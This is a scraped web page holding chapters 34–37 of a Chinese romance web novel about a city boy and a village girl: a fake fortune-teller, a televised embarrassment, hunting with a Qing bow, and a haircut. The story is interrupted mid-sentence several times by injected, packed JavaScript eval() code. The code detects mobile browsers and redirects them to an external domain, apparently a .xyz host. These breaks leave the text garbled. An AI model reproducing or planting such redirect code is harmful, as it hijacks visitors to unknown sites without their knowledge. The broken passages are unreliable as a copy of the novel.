许思睿循声看过去,看到一个只在古装剧里见到过的算命先生模样的人从街道那头朝他们迎面而来,鼻梁上架着一副墨镜,身着粗布长衫,左肩扛一杆写着“周易”的旗子,右手摇铃,屁股后跟着一只癞皮哈巴狗,走得摇头晃脑,活像喝醉了酒。 祝婴宁皱起眉,小声嘟囔:“又来……” “谁啊?你认识?”许思睿好奇心大起。 “一个骗子。”她叹了口气,小声告诉他,“你等着,他马上就要过来说你有血光之灾了。” 34. 当众处刑 几乎是她的话刚说完那一秒,算命先生就快步朝他迎了过来,睁开一双醉眼朦胧的小眼睛,一惊一乍地说:“呀呀呀,呀呀呀呀,不得了啊!这位小弟,我看你印堂发黑,命中带煞,三个月内必有大劫,不得了不得了……” “……” 虽然提前被祝婴宁打过预防针了,但是听到这套熟悉得像是直接从电视剧里拷贝粘贴下来的坑蒙拐骗的话术,许思睿还是被震撼得失了声。 许正康始终贯彻落实着传统生意人的迷信,有事没事都会找大师算一卦,许思睿从小到大也算见过不少性格迥异身怀绝技的能人异士,但像这种一上来就说人家命里带煞的路边摊式算命方式,还是头一回见识。 他心里刚升起的那点好奇瞬间消弭了,无语地侧过身,对祝婴宁说:“走吧。” “欸,别走啊。”算命先生——不对,应该叫江湖骗子,江湖骗子见他们要走,着急忙慌追了上去,拦在许思睿面前,就差去扯他的衣袖了,“你以为我是骗子吗?小弟,我李某人拿我三十年的道士生涯担保,你这种面相我已经很长时间没见过了!三个月内……不,不用三个月,一个月内,一个月内你必有大劫!此劫与你家人息息相关,如若不破,往后余生都会受到殃及……” 许思睿本来没在意,左耳进右耳出,只当他在放屁,直到听到他提及自己的家人,甚至还咒起他们,这才有些恼了,正要骂人,就听祝婴宁脆亮的声音插了进来。 “你看看我的面相呢?” 那江湖骗子将视线一转,对准她的脸,细细打量了一番,过了五秒,惊奇地咦了一声,露出宛如见到鬼的神情:“不对呀……你怎么也印堂发黑?小妹,我观你面相,命里带煞,三个月内恐有大劫啊!” “?” 这话术居然连换都不带换的,许思睿在旁边听得目瞪口呆,连两个摄影师都憋不住笑了。 “你之前也是这么说的。”祝婴宁无情地揭露他。 “之前?”江湖骗子眼珠一转,“我给你算过?你记错了吧小妹。” “算过的,两年前你给我算过。” “真的?” “真的。” 骗子没想到她会这么诚恳地回句“真的”,一时语塞。 趁着这个功夫,祝婴宁给许思睿使了个眼色,示意他可以离开了。直到他们走出去老远,骗子都还杵在原地摸着下颌沉思。 “他精神有点问题,经常在这一带晃荡。”她点点自己的太阳穴,解释道,“不管碰见谁都是那套话术,你不用往心里去。” 许思睿哼笑了一声。他没怎么往心里去,就是觉得还挺神奇的。 “你们这还真是卧虎藏龙啊。”他说。 ** 发廊依然是那个发廊,今天他们到得稍晚,发廊已经开张了。 祝婴宁要去给祝吉祥打电话,许思睿决定先去剪头发。 上次来在门口打过照面的一个黄毛小哥过来服务他,问他想做什么项目,他打听了一下,发现这里的价格基本都在他的承受范围内,于是说:“先洗头吧。” 黄毛小哥将他带向洗头的躺椅。 躺椅是皮制的,许思睿躺上去以后发现靠近手指的地方破了几个洞,露出了里头黄色的海绵,很显然是之前躺在这洗头的客人手贱抠的。他对这个地区破破烂烂的设备已经有了抗体,直接闭眼无视了。 洗完吹头发的时候,黄毛小哥递给他一本同样破破烂烂并且边角发翘的发型参考,让他挑一挑。他翻开后随意扫了几眼,愣了愣,把杂志合上,缓了一会儿才再次打开,不可置信地瞪着里面的发型。 非要找出一个字形容的话,那就是土。 土爆了。 土得千奇百怪,人神共愤。 他抬起头,透过镜子看向身后黄毛小哥的发型,后知后觉这人的发型也很土。 虽说黄毛是发廊小哥的标配,但是黄毛也是有档次之分的,有些黄毛黄得别具一格,有些则像一丛枯草,从路边薅过来就直接插在头上了。 毫无疑问,身后这个黄毛就属于枯草的行列。 许思睿顿时产生了一股强烈的担忧。 黄毛小哥无知无觉,把头发吹到七八成干的程度,放下吹风机,问:“你想剪什么发型?” “我……”许思睿梗住了,沉默了良久,才说了一个最保险最没有技术含量的要求,“你按我原来的发型给我修短一点。” “行。”黄毛小哥抖开披肩给他围上。 才刚披好,店门口就闯进来一个风尘仆仆的新客人,嘴里叼着烟,大大咧咧道:“哟,今天这么早就有客人啦?” 黄毛小哥回头看了他一眼:“阿金还没来,店里现在就我一个,你先随便找把椅子坐着等吧。” “没事。”那人看起来是熟客了,随手拉开一把凳子坐下,“我先看看电视好了。” 被他这么一说,许思睿才发现这家发廊收银台顶端的天花板上挂着一台很小的电视机。 熟客轻车熟路找出遥控器,打开电视,开始选台。 许思睿坐的那个位置侧对着屏幕,要看电视只能把脑袋九十度别过去,很麻烦,也影响理发师发挥。他没有转头,只竖起耳朵听着声响,就当听广播了。 熟客打开新闻联播,观摩了一通世界格局,大约是觉得无聊,又调到CCTV5体育频道,看了会儿羽毛球赛。接着,背景音陆陆续续切换成《动物世界》、《喜羊羊与灰太狼》和《回家的诱惑》。一连换了好几个台,熟客才停下手上的动作,诧异地“咦”了一声。 透过镜子,许思睿看到熟客鬼鬼祟祟偏头瞄了他一眼。 一开始他只当这人对他的长相和装扮感到好奇,看完了就该有所收敛了,所以不甚在意。然而熟客大哥仿佛不知道礼貌二字怎么写,一眼还嫌不够,没过几秒,又偷偷摸摸地撇头看了他五六七八眼,眼神里带着越来越浓的探究意味。 许思睿被他看得很不爽,正想问他看什么看,就听到收银台上方的电视机传出了一个陌生又熟悉的问句: “欸!你这阿弟怎么回事啊?一个大男人,居然还要宁宁背你!” …… 全场死寂。 熟客嘴巴张成O型,眼珠飞快转动,左瞥一下右瞄一眼,露出吃瓜看好戏的神情。黄毛小哥动作一顿,没太搞清状况。被点到名字的祝婴宁则纳闷地放下话筒,退后几步,仰头看向了电视屏幕。 而许思睿,他像被雷劈到一样僵在原地,两耳嗡鸣,头脑眩晕。 下一秒,他听到自己趾高气扬的声音从屏幕里传出来—— “我脚崴到了,要他背一下怎么了?” 接下来的对话就像人死之前的走马灯,通过电视的传声孔,在许思睿耳边3D立体环绕,生怕他记不清这段黑历史似的。 “你……你脚崴到了也不能这样啊!” “他走不了路我才背他的,你们谁来搭把手,帮忙把他扶上去?” …… 最先反应过来的是黄毛小哥,他看了看电视屏幕,又看了看面前的许思睿,眼珠子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543207|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞪得像要从眼眶里掉出来,接连“我去”了四五声,才找回语言功能,震惊地问:“电视里那个是你吗?” 然后是吃瓜的熟客大哥,他激动地挥舞着电视遥控器,手掌猛拍自己的大腿:“我就说这小弟看起来怎么和电视里这个人这么像!而且身后还跟着两个摄影师!还有这个小妹……哎哟我去,牛逼啊!牛逼!之前就听说有电视节目组在我们这录节目,好像是个什么什么综艺,就是他吧?是他吗?妹子,是你们吗?” 祝婴宁站得离他近,被他摇来摇去,不得不点了点头。杨吉没说今天是综艺的首播,也没说过这个综艺是边拍边播的,骤然在电视上看到自己的脸,她惊讶得有些说不出话。 黄毛小哥和熟客大哥也没比她好多少,两个人说出了两百人的气势,语无伦次,颠三倒四,一会儿说“我还以为这就是个地方小节目呢,没想到居然在省台播出了,我们这鸟地方居然真狗日的上电视了”,一会儿说“照这样说我是不是也算出镜了?操,那我岂不是要火了”。 等他们抒发完激动之情,好不容易平静下来,电视上刚好放到了临睡前那一幕,许思睿指着祝婴宁,气势恢宏地说:“我要他睡在我旁边。” “想都别想,我只接受他睡在我旁边!” “……” “……” 黄毛小哥和熟客大哥这才迟钝地留意到综艺本身的内容,纷纷侧目望向许思睿,露出了一言难尽的神情。 被他们的眼神凌迟着,许思睿总算从石化状态中解除,像一颗被人劈成两半的番茄,脸颊瞬间由白涨红,又由红转青,幻灯片一样快速切换,最后定格成一种姹紫嫣红的格局。 在他们说出诸如“看不出来你居然这么禽兽”“你还是不是男人了”的吐槽前,他咬了咬牙,出乎所有人意料,二话不说转身就走。 熟悉的展开,熟悉的风味。 两位摄影师生怕他又上演一出生死逃亡,大骂一声追了上去。祝婴宁愣了愣,也飞快跟了上去。 不过这回许思睿倒是没有像上次那样叛逆,他只是拐进了邮局,和工作人员沟通完,取出周天澜寄来的包裹,然后拿着包裹头也不回上了牛车。 “那个……” 祝婴宁想要说点什么,却又不知如何开口,生怕刺激到他破碎的自尊心。如果自尊心有实体,许思睿现在的自尊心一定是一堆玻璃渣子,不仅反光,还扎脚那种。 他坐在牛车上,脸上热度迟迟未褪,红得堪比发烧了——皮肤白就这点不好,羞耻和窘迫无处循形,但凡有点情绪变动,所有人都能一眼瞧出端倪,连遮掩的余地都没有。 冷场了片刻,他才说了句话。 “你说什么?”祝婴宁没听清。 “……我让你上去赶车。” “赶车?”她惊愕道,“你想回去了?回村里?” 他点点头。 “可我们才刚来镇上,你不想和你父母联系吗?刚刚我弟说他们有话想要告诉你。许思睿,其实……你真的没必要太在意刚刚电视里的内容,你是一个很好的人,我相信每一个坚持看完综艺的人最后都能感受到你的善良和……” “你再说一句试试?”他打断她的话,抬起眼帘,直勾勾盯着她。 不得不说,他真生气的时候还挺吓人的,瞳孔漆黑,黑到完全显示不出高光,像两口黑漆漆的井。 她当即噤了声,被他吓得大喘气都不敢,正犹疑着,就听他说:“再说我就自杀。” “……” 好吧,是她高估他了。 35. 弓箭 回到祝家村,许思睿依然恹恹的。祝婴宁倒宁愿他和之前那样撒泼大叫或者随意骂人,起码还能用句“活力满满”来形容,现在一言不发才像是被打击狠了。 刘桂芳问他们今天怎么这么早就回来了,她只好再次搬出那套含糊其辞的说法:“因为……一些原因。” “给你弟弟打电话了吗?” “打了。” “他说什么?在城里过得还好吧?” 祝婴宁于是细细地将祝吉祥告知她的那些话复述了一遍。 刘桂芳这才露出放心的表情,过了半晌,想起什么,对她说:“对了,早上七爷来过我们家,说你求了很久的那张弓今天可以借你用上一天。” “?!” 闻言她差点蹦起来,“他同意了?!那我现在就去找他!”人都跑到门口了,想起许思睿,回头看他依然坐在炕上一脸人生无望不如早死早超生的表情,干脆上前拉了他一把,“一起去吧。” “去干嘛?”他问得有气无力。 “打猎。” “?” 提起打猎,许思睿不可避免想起了自己崴到脚,想起崴到脚,又不可避免想起了电视上那段黑历史,他一脸吃了屎的表情,磨牙切齿道,“你什么意思,羞辱我?” “……不是。”她摆摆手,“哎呀,一句两句说不清,反正不是你想的那种打猎,你去看了就知道了。不是我夸大其词,你不看绝对会后悔的。” “你怎么知道我想的是哪种打猎?” “你想的肯定是地上挖坑那种呗。” “祝婴宁!”他恼怒大吼。 她赶紧捂着耳朵开溜了。 就在许思睿气得七窍生烟,发誓绝对不踏出家门半步时,外头忽然传来了一阵此起彼伏的尖叫。那尖叫含着三分惊讶,三分赞叹,三分崇拜,还有一分跃跃欲试,感情充沛而富有层次感,听得他瞬间忘了自己刚刚发过的誓,拧着眉毛走向了门口,朝声音的来源望过去,想看看外头在作什么妖。 一群小孩挤在村里一户人家的门槛上,似乎正在围观什么东西。 不一会儿,祝婴宁从里面出来了,手里握着一把长弓。 许思睿呆住了,将上半身探出窗户,眯眼仔细瞧了瞧。 那把弓比门槛边上围观的小孩还要高,弓梢很长,由硬木制成,弓臂面贴牛角,弦为筋弦,有明显弦垫。整把弓圆润修长,体量巨大,气势逼人。 是一把十分周正的清弓。 他之所以认得这玩意,还要感谢小时候父母给他报的五花八门的运动课,其中的弓箭课他学得不怎么样,不过为了积累装逼素材——就像对汽车如数家珍的人开车水平不一定有多高超——他记住了老师给他科普的一些弓箭,其中就有清弓。记住它的原因也简单,因为老师介绍时说清弓是中国冷兵器时代的巅峰。“巅峰”这种表述就算不刻意去记,也很容易在人类脑海里留下深刻印象。 但他只看过图片,没见过实物。 为了确保自己没有眼花,他很快冲出家门,来到了祝婴宁面前。 近距离看着,这把弓显得更有压迫感了。 “这是清弓?”他激动得险些控制不了语调,为了防止祝婴宁只听过其中一种名字,还特意把他所知道的清弓的其他别名也一口气说了,“满洲弓?满族弓?” “啊?”祝婴宁的表情看起来很呆,“那是什么?是这把弓的名字吗?” “……” 许思睿瞬间无语了,有种火苗刚窜起来就被她泼了桶冷水的无力感。 正相顾无言,屋子里就走出了一个驼背老头,对着他用方言叽里咕噜说了通话。 许思睿没听懂,倒是祝婴宁听完露出惊讶的表情,帮忙翻译道:“他说你很识货,这把弓确实是清弓。他说他祖上是乾隆钦定的制弓人,后来搬到新疆定居,又有不少后代从新疆搬迁到其他地方,他便是其中之一,他们这一脉现在只剩下他一个人会做这种弓箭了。” 许思睿心里熄灭的火苗复又燃烧起来,指着长弓不可思议道:“这把弓是他亲手做的?” 老头点了点头。 他惊愕不已。 来这这么久,这是许思睿心里第一次产生“有趣”的念头。不是面对枯燥重复的山村生活苦中作乐地挖掘乐趣,而是由衷感到震撼。 还想再请教点什么,就听祝婴宁说:“我要去打猎了,你去吗?” 许思睿的脑筋一时有点拐不过来:“你?拿着这把弓去打猎?” “对啊。”她理所当然地应道。 “可你连它叫什么都不知道啊!” 祝婴宁僵滞了片刻,好像确实被他的控诉震住了,垂头开始思考,过了足足五秒,她思考完毕,认真地问:“我确实不知道它的名字,不过,这影响什么吗?” 跟她被他的控诉震住一样,许思睿也被她的理所当然震住了,心想这当然有影响了,这完全是暴殄天物,是山猪吃不来细糠。 虽然没把这番侮辱人的话说出口,但跟着祝婴宁走去山里时,他心里还是难掩轻蔑,觉得将这把弓交到她手里实在是儿戏。她懂什么?她能发挥出这把弓的什么价值? 一直走到了山林里,她才停下脚步,站在他前头笑了一声:“许思睿,你好像特别不服啊。” 他愣了愣,矢口否认:“没有。” 正诧异她怎么突然变得这么敏锐,就听她说:“你已经在我背后第三次用鼻孔出气了。” 用鼻孔短促迅疾地哼了一声,这动作要么是鼻炎发作,要么是在表达轻蔑。 “……” 他有吗? 许思睿有点尴尬。 祝婴宁倒是没生气,只是平和地把弓递给他:“你可以拉开试试看,这把弓是四十磅的。” 四十磅并不重,许思睿玩玻片弓最高可以开到六十磅。他接过来,清弓拿在手里沉甸甸的。 “给我一支箭。” 她从箭匣里抽了一支递给他,顺带纠正了一下他的姿势。 出于一种自诩为内行人的矜高,他压根没有把她的话听进耳里,依照自己模糊的记忆里模糊的姿势便拉开了弓。 “这姿势容易被弦崩到胸……”她轻声提醒他。 许思睿瞪了她一眼,让她别打断他运气。由于疏于锻炼,再加上这把弓出乎他意料地沉重,他第一次没能顺利拉开,运了一口气后,第二次才成功开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这声音像定身符的解咒咒语,将他从头皮发紧浑身僵硬的状态中拽出来。听觉失而复归,蝉鸣鸟啼蛙声再次填满他的脑海,由于精神太过紧绷,他甚至紧张得剧烈耳鸣,腿也发颤,伸手扶住旁边的树木才勉强站稳。 抬头去看祝婴宁,她垂下了手臂,从他身边走过去,若无其事得好像刚刚拿箭指着他的人不是自己。 就在他想大骂点什么抒发一下自己差点被吓死的心情时,她已经熟练地把箭从他身后那棵树上拔了出来。许思睿转眸一看,发现箭身上竟然钉着一条蛇。 正中七寸。 “操……” 他惊呆了。 “放心,没毒的。”她以为他脸色苍白是因为害怕蛇,抓着蛇身慢悠悠解释道,“这种蛇在山里很常见,只是它刚刚盘在你身后那棵树上,我怕你回头会吓到,就先射死了。” “……” 许思睿哑口无言。 过了很久,他才张了张嘴,艰难道:“你不觉得你的箭比蛇更吓人么?我他妈刚刚还以为你想一箭崩了我的脑袋。” 她惊讶地看着他,好像不明白他为什么会产生这种想法:“我为什么要崩了你的脑袋?”顿了顿,又严肃地补充道,“杀人是犯法的。” 36. 艺术照 “麂子?那是什么?” “一种像鹿但是比鹿小很多的生物,不过我们不捕这个,今天主要是捕斑鸠。斑鸠的叫声容易分辨,而且蠢,行动比其他鸟迟钝,容易捕到。” “哦……” 一路走来,祝婴宁讲了许多山里的知识,并非特意科普,只是想到哪说到哪,有一搭没一搭,但许思睿第一次觉得她懂得还挺多的,不是书读得多那种多,而是生活常识和生活见闻丰富。 走着走着听到一阵鸟鸣,她摆了摆手,示意他说话小声点。 她轻手轻脚追去鸟鸣传来的方向,许思睿也跟着追了两步,但他很快发现他那双AJ踩在地上的动静很大——当然也可能是他走路姿势的问题,只是他更倾向于把锅甩到外界事物上。和祝婴宁敏捷的身手比起来,他笨重得像奥特曼世界里的怪兽,跟了两步就不太好意思继续跟去了,怕自己碍手碍脚,索性站在原地等待。 前方祝婴宁飞快往斜对角窜了几步,然后顺手攀到了邻近那棵树上。用“顺手”这个词是因为她确实是用手臂勾住树枝勾上去的,敏捷到让一旁观战的许思睿深刻意识到人类和猴子有共同的祖先。 他忽然有点想笑,又怕笑出来坏了祝婴宁的事,只好努力憋着。 不过很快,他就笑不出来了。 因为祝婴宁再次拉开了弓。 虽然刚刚已经见识过一次她开弓的姿势和气势,但是再看一次,这种震撼丝毫没有因为距离拉远或次数重复而减少半分。 她蹲在树杈上,呼吸放得格外长缓,黑瞳凝练,眼神专注到不太像人类,反而像某种未开化的纯然的山兽。 脑海中跃出这个描述的时候,许思睿微微有些吃惊。他想他知道祝婴宁像什么了。读《边城》时,有段写女主翠翠的句子令他印象深刻,说的是“翠翠在风日里长养着,把皮肤变得黑黑的,触目为青山绿水,一对眸子清明如水晶”,这段话也可以用来形容祝婴宁。但她不似翠翠那样软顺如江水的柔波,她更硬,更直,更呆板,她就像这座山,山上硬邦邦的一块岩石,石脚长着细小苔花。 她瞄准的那只斑鸠,许思睿甚至看不清它在繁密树冠上的位置。 可三秒后,她松开手指那一刻,他坚信箭头所指的方位一定存在一只斑鸠。 咻的一声。 箭头势如破竹没入树冠,钉入斑鸠的胸脯。 ** 带着猎物回到村里,驼背老头守到村口,看到他们,很小气地就要将弓箭要回去。 “我阿妈说你答应借我一天。” 祝婴宁用方言和他据理力争,许思睿没听懂,但他看懂了驼背老人举起拐杖在祝婴宁腿上敲了一拐的意思,意思简洁利落——滚。 于是他们滚了。 滚到家里,刘桂芳迎上来,问他们都打了什么,祝婴宁递上手里的斑鸠和蛇,她显得有些失望:“怎么没打只麂子过来?” 她努了努嘴,避而不谈。 等刘桂芳拿着这些东西去厨房料理了,许思睿才看向祝婴宁:“对啊,所以你为什么不打麂子?” 他还挺想见识一下这玩意长什么样的。 祝婴宁看了他一眼,轻轻叹了口气:“野生小麂被划为保护动物了。” “啊。”许思睿呆愣两秒,略感吃惊,“原来你们打猎还会在意保护动物?我还以为你们连人命都不在意呢,不然没事干嘛往地上挖个大坑。” 面对他的阴阳怪气,祝婴宁只是白了他一眼。 她走去书桌前整理作业,许思睿看了眼自己放在书桌桌脚旁那包未拆封的快递件,一时有些迟疑。 里面装的是周天澜寄给他的学习资料,他想拿给祝婴宁,又不知道以什么由头怎么开口。 直白地施予好意完全不是他的强项。 正暗自纠结着,书桌前的祝婴宁忽然回过头,看着他,欲言又止道:“对了,你的头发……” 他回看过去,没反应过来:“我头发怎么了?” “……原来你自己不知道吗?”她挠挠脸颊,拿起书桌上一个小镜子,对准他的脸。 她这反应让许思睿心脏猛一沉,僵硬着身体凑近一瞧,就见自己原本很正常的刘海现在居然一半长一半短,像被牛啃了一样。 祝婴宁握着镜子,看着对面许思睿逐渐变成死灰的脸,干巴巴笑了两声,小声解释道:“我以为你自己知道,所以才没有提醒你……其实……你从理发店里跑出来的时候,刘海就已经被发廊小哥剪了一缕了。” “……” “……” 他们沉默地对视着。 许思睿慢慢直起僵直的脊背,眼神麻木:“所以我就顶着这个发型走了一路。” 她继续沉默着,没敢说话。 “黄历上是不是写着今天不宜出门?”过多的刺激已经让他麻木了,即使知道自己顶着这个丑发型被相机拍了一路,他心里也只有一种无语到想笑的感受。 这句话本来只是随口说的一句吐槽,听过就算了,结果她居然真的走去看了看黄历,认真地说:“不是啊,黄历只写了今天不宜婚嫁。” “我靠。” 许思睿瞪着她,那种无语到极致的心情被她莫名其妙的举动推到了顶峰,他实在没忍住,唇瓣动了动,和她对视一眼,同时笑了出来。 两个人再次跟神经病一样笑成了一团。 最后好不容易停了下来,她扶着笑得发疼的肚子,拿起书桌上的剪刀:“所以你那头发怎么办啊,我给你处理一下?” “你?”许思睿才笑完,掐着腰站在原地,气喘吁吁,一个没忍住,又露出了一种轻蔑的居高临下的神情。 她解释说:“我的手艺专业谈不上,但还算凑合,我弟弟的头发都是我剪的。” “你弟弟的头发长什么样?” “呃……” 这是一个好问题。 祝吉祥不在此地,口头描述又描述不精准,祝婴宁想了想,拉开书桌底下的柜子,从里面翻出一本相簿:“这是我弟弟之前拍过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许思睿皱了皱眉,还想再说点什么,一抬头,她已经把锋利的剪刀怼到他眼前了。 “喂喂喂!”他下意识往后退了退,“我说你做事情之前能不能给人点心理准备?” 她不解地看着他:“剪个头发要什么心理准备?” “反正就是……你别突然把锋利物品朝着我,很危险啊!” 她可能觉得他说的有理,思考了一会儿,哦了一声,点点头说:“我知道了。”冷场了五秒,她指着手里的剪刀,问他,“那你现在准备好了吗?我要把锋利物品朝着你了。” “?” 许思睿没憋住笑了一下,“祝婴宁,你这人真是……” 他笑的时候,她已经弯腰凑了过来。虽然这回提前预告了,但她做事情有种和别人不太一样的节奏感,每件事都开始得很快很突兀。当她的脸超近距离凑到他面前时,他瞬间噤了声,坐姿微微一僵。 她的眼睛在他面前无限放大。 37. 偷人 依照许思睿的审美,他一直觉得眼睛必须得双眼皮才好看,祝婴宁的眼睛无疑非常不符合他心目中好看的标准,因为她是毫无歧义的单眼皮。可现在近距离瞧着,他忽然发觉单眼皮也有单眼皮的风味,由于眼皮线条简单凌厉,能让人把视线焦点更加聚集到瞳孔上,显得瞳仁很大,乌黑,圆钝,纯粹,有一种沉甸甸的量感在里面。 他盯着她的眼睛,距离近到甚至能数清她眼睛上的睫毛。 ……还挺长挺密的。 耳根莫名有点发烫,他使劲睁大眼睛瞪着她,好像只要敢于和她对视,就能证明他心里完全没有鬼。 瞪了几秒,专注于他刘海的祝婴宁终于忍不住把眼珠转了转,看向他的眼睛,问:“你一直看着我干什么?” “你就站我前面,我不看你还能看谁?” 许思睿说完以后简直要为自己拍手叫好,多么理直气壮天衣无缝的回答。 但他说完以后,她立刻用一种注视傻子的眼神垂眸看着他,张了张口,叹道:“……好吧,不过我还是第一次见到剪刘海不闭眼,还把眼睛瞪这么大的人,你不怕头发戳眼睛啊?” 许思睿被她噎了一嗓子,恼羞成怒,红着脸颊点头硬撑:“对,我就是喜欢那种头发戳进眼睛里的酸爽的感觉,不行?” “……” 她表情就像在说你开心就好。 等她再次弯腰替他剪起头发,他却再也不像自己说的那么淡定了,眼神瞥来瞥去,左看一下,右看一下,瞄见角落里的包裹,福至心灵,顺势开口道:“那个,谢谢你给我剪头发,角落那个包裹就当给你的谢礼了。” “谢礼?”她有点吃惊地朝后瞟了一下,“那不是你妈妈寄给你的东西吗?” “是,但是……”许思睿不想解释清楚,他有一种这个年纪的男孩特有的一解释真心就会感到窘迫尴尬的通病,牙齿咬了咬口腔内壁的肉,含糊道,“反正你自己看了就知道了。” 等剪完头发,许思睿拿着书桌上那个镜子三百六十度端详祝婴宁有没有哪里给他剪残了的时候,她弯腰蹲到了包裹边,拿着给他剪完头发的剪刀拆起包裹。 他用余光瞥见,莫名有些紧张。 等把包裹拆开了,她从里面摸出一叠练习册,轻轻“啊”了一声,表情很是迷茫。 她翻了翻,首先留意到这些练习册基本都是许思睿写过的,心里默默琢磨他是什么意思,难道想让她帮他写作业?不至于吧…… 直到仔细看了看里面的习题,才恍然大悟,又“啊”了一声,这次“啊”得更加跌宕起伏真情实感,表情随之一亮:“这些都是借给我的?” “不算借吧。”许思睿别扭地移开视线,“你要是不嫌弃,而且觉得好用,直接拿去用就好,我再买新的很容易。” “啊!” 她又发出了咏叹调般的感慨。 许思睿被她这声嘹亮的“啊”吓了一大跳,差点把手里的镜子摔了。 “你除了‘啊’是没有别的词了么?” 她完全没在意他的调侃,脸颊兴奋得红扑扑的:“许思睿,你太够意思了,真的!太谢谢你了!” ** 从拿到练习册开始,祝婴宁别的事都不干了,往书桌上一趴就开始昏天黑地地学习,从周日学到周一,升旗的时候嘴里还念念有词,表现得像个书呆子。 直到早读结束,陈斌进来提醒她收下周末的作业,她才从如痴如醉的状态中解脱出来,起身开始收作业。 收到周丽这一组时,她发现周丽的座位空着,问她的同桌是什么情况,她同桌说:“我也不太清楚,反正陈老师说她不来了。” “不来了?” 周丽算是他们班的上学困难户,她爸爸不愿意她上学,觉得女孩读个小学文凭能识数就差不多了,总是动辄找借口把她拘在家里干农活,时不时就要闹一出辍学警告。不过每一回,只要祝婴宁和陈斌上门做番思想工作,周丽爸爸都会骂骂咧咧放人回来。所以这次,她自然而然以为也是相同的情况,轻叹口气:“那我放学去她家看看吧。” 周丽同桌嗫嚅道:“班长,陈老师让我告诉你,这次别管了。” “为什么?”她一愣。 “我也不知道,他反正是这么说的。” 她百思不得其解,抱着收好的作业去到陈斌办公室时,忍不住向他问起这件事。 陈斌闻言,也叹了口气,把眼镜摘下来,抽了张纸巾擦拭镜片,语重心长地说:“婴宁,老师知道你善良,不过,尽人事听天命,这回咱是真的没法尽人事了,天命如此啊。” 她还是没听懂:“为什么?周丽到底怎么了?” “她辍学了。” “为什么要辍学?” 陈斌知道这小孩实心眼,你不跟她说,她就会一直问,只好如实道:“她出去打工了,她哥哥要结婚,拿不出彩礼,女方不肯嫁。周丽爸一琢磨,决定把周丽送出去打工,给她哥赚点彩礼钱,所以就辍学了。刚好周丽有个堂姐,在城里干美容美发行业,干得风生水起,最近回家探亲,今儿回城,周丽就跟着她堂姐走了。” 祝婴宁以一种空白的表情站在原地怔愣了许久,才问:“她是什么时候走的?” “我昨晚还去了趟她家做思想工作,她爸说今天走,现在估计已经出发了吧。” “今天走……”她嘴里念念有词,“今天走,那就是还来得及。老师——”她抬眼看向他,“我要跟你请一天假。” 陈斌教了她这么久,怎么可能不知道她在想什么,当即就拒绝道:“不行!” ** 第一节课的铃声响起后,趴在桌子上睡了一整节早读的许思睿这才迷迷蒙蒙醒了过来,揉着脖颈打了个懒散的哈欠,余光发现祝婴宁没在座位上,有点震惊。她是那种上课刚响就得立马走回座位坐好的人,现在铃声都响完了,居然还不在,怪事啊。 更怪的是走廊居然还有人趴在栏杆上兴高采烈喊着什么,什么“快跑”“快追”的,听声音还挺激动。反正闲着也是闲着,有热闹不凑是傻子,他从座位上站起来,插着兜懒洋洋晃了过去,靠在栏杆上朝下看。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543210|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这一看不要紧,许思睿差点把眼珠子瞪出来。 他看到陈斌追着祝婴宁朝校门口跑。 陈斌体质不行,在后面追得气喘吁吁,跑没两步就掐着腰停了下来,用手指指着祝婴宁离去的背影,嘴里絮絮叨叨不知在说什么。而祝婴宁,她早就撒开腿冲出校门,兔子一样跑没影了。 匪夷所思的画面。 他问旁边人:“怎么回事啊?” 旁边人兴致勃勃道:“哦,班长逃课了,陈老师在逮她呢。” 逃课?谁别说祝婴宁逃课令他震惊,陈斌会逮人这事也挺魔幻的。许思睿纳闷极了:“她逃课干什么?” “不知道啊。”那人说,“不过大概又是因为周丽的事吧。” 这名字听起来耳熟,许思睿使劲回忆了一下,才记起周丽是那个头发长虱被家里人剪成寸头的人。 他随口问:“周丽怎么了?” “她辍学了。” 辍学? 这学校怎么天天不是这个没来就是那个辍学?许思睿瞠目结舌。 他现在充分体会到陈斌建校之初那通“你们能成为同学是难得的缘分”的话形容得有多精准了,这同学缘说断就断,简直比大风天里的风筝线还脆弱。 许思睿站在走廊上看了一会,见陈斌慢慢往回走,围观的同学皆兴致缺缺散去,他也慢慢走回了座位。 ** 一天的课上下来,祝婴宁都没出现。这还是许思睿来山里这么久,第一次这么长时间没见着她的人,虽然她在的时候他不见得觉得她这人多有意思,但少了个大活人,总归有点无趣。他无趣地熬到下午放学,无趣地自己一个人走回了家。 出乎意料的是,走到家门口,他发现祝婴宁竟然就蹲在门口择菜。 